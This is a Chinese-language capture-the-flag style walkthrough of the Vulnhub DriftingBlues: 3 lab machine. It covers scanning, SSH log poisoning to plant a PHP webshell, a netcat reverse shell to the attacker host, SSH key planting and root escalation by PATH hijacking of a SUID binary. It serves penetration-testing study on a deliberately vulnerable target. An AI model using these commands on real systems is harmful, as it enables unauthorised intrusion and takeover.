[Vulnhub靶机] DriftingBlues: 3

[Vulnhub靶机] DriftingBlues: 3靶机渗透思路及方法(个人分享)

靶机下载地址:

https://download.vulnhub.com/driftingblues/driftingblues3.ova


靶机地址:192.168.67.19

攻击机地址:192.168.67.3


一、信息收集

1.使用 arp-scan 命令扫描网段内存活的主机,以获取靶机ip地址

arp-scan -I 指定网卡 -l

2.使用 nmap 工具扫描靶机开放端口、服务版本以及系统版本,得到开放端口22、80及其服务ssh、http

nmap -sV -O 靶机地址

        -sV        探测主机服务版本

        -O         识别主机操作系统

3.访问web网页,没有发现有用信息,尝试使用 dirsearch 工具扫描靶机网站目录,得到robots.txt

dirsearch -u 靶机URL

        -u        指定目标URL

4.访问靶机 robots.txt 页面,得到 /eventadmins 页面

5.继续访问 /eventadmins ,得到提示。提示中说明ssh可能存在漏洞,还得到了 /littlequeenofspades.html 页面

6.继续访问 /littlequeenofspades.html ,发现页面没有有用信息回显,查看网页源代码得到一串base64加密的内容

7.通过两次base64解密后得到 /adminsfixit.php,查看后发现该文件为ssh身份验证日志文件

二、漏洞利用

分析ssh日志文件后发现,ssh远程连接时登录的用户名会被写入到该文件内,尝试利用该漏洞将一句话木马写入到 /adminsfixit.php内

重新访问 /adminsfixit.php 网页,并通过cmd参数进行测试,发现成功写入

三、反弹shell

1.进行反向反弹shell,攻击机开启 nc 监听

nc -lvp 监听端口号 靶机地址

        -l             开启监听

        -v            显示详细输出

        -p            指定监听端口

2.利用木马执行 nc 命令,尝试反弹shell

nc 攻击机地址 监听端口号 -e /bin/bash

        -e        指定对应的应用程序

3.成功反弹shell,进入靶机并成功执行命令

4.利用python中pty模块的创建交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

        -c        在命令行中调用python代码

pty.spawn() 函数是pty模块中的一个函数,用于创建一个子进程,并将其连接到一个伪终端。通过这个伪终端,我们可以与子进程进行交互,就像在控制台上一样。

5.分析查看靶机内文件,发现home目录下有一个robertj用户,且该用户目录下存在两个文件,user.txt”文件没有权限无法打开,.ssh 目录有可读可写可执行权限

6.进入 .ssh 目录进行查看,发现目录内没有任何文件内容

7.继续查看分析,查看ssh配置文件(默认目录/etc/ssh/sshd_config),发现可以公钥登录,并且给出了公钥文件存放目录 /home/robertj/.ssh/authorized_keys

8.尝试把公钥放入.ssh目录内,使用 ssh-keygen 工具生成公密钥,并将生成的密钥保存到 /home/robertj/.ssh/ 目录下

ssh-keygen -t rsa

        -t        指定生成的密钥类型,默认为RSA类型

9.将生成的公钥内容输出到authorized_keys文件内

10.查看私钥文件,将内容复制出来,粘贴到本地文件中

注意要将id_rsa文件的权限修改为与创建时权限一致

11.使用私钥进行登录,成功登录robertj用户

ssh robertj@192.168.66.140 -i id_rsa

        -i        指定身份验证文件,用于身份验证

四、提权

1.使用 find 命令寻找suid程序,发现一个可疑程序/usr/bin/getinfo

find / -perm -4000 2>/dev/null 或 find / -perm -u=s 2>/dev/null

        -perm         按照权限查找文件(4000、2000、1000分别表示SUID,SGID,SBIT权限,如777为普通文件最高权限,7000为特殊文件的最高权限)

使用find命令的时候在命令后加 2>/dev/null 将错误结果输出重定向到/dev/null中,/dev/null是一个特殊的设备文件,其实质为空设备文件,其大小是0字节,所有人都有读写权限,而其主要作用就是将接收的一切输出给它的数据并丢弃,就像垃圾桶,也被称为位桶(bit bucket)

2.执行该程序,根据执行结果发现分别运行了ip addr、cat /etc/hosts、uname -a命令

3.可以通过修改环境来进行命令劫持提权

通过修改环境变量让getinfo在调用命令调用到我们伪造的ip命令(在检索环境时会先调用最前面的环境也就是最新写入的环境),来达到提权的效果

export PATH=/tmp/:$PATH             把/tmp路径写入到系统路径中

cd /tmp

echo '/bin/bash' > ip                       把/bin/bash写入到ip文件中(相当于创建ip并写入/bin/bash)

chmod +x ip                                    给ip文件增加执行权限

4.再次运行getinfo,成功提权至root权限

  • 80
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

网安日记本

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值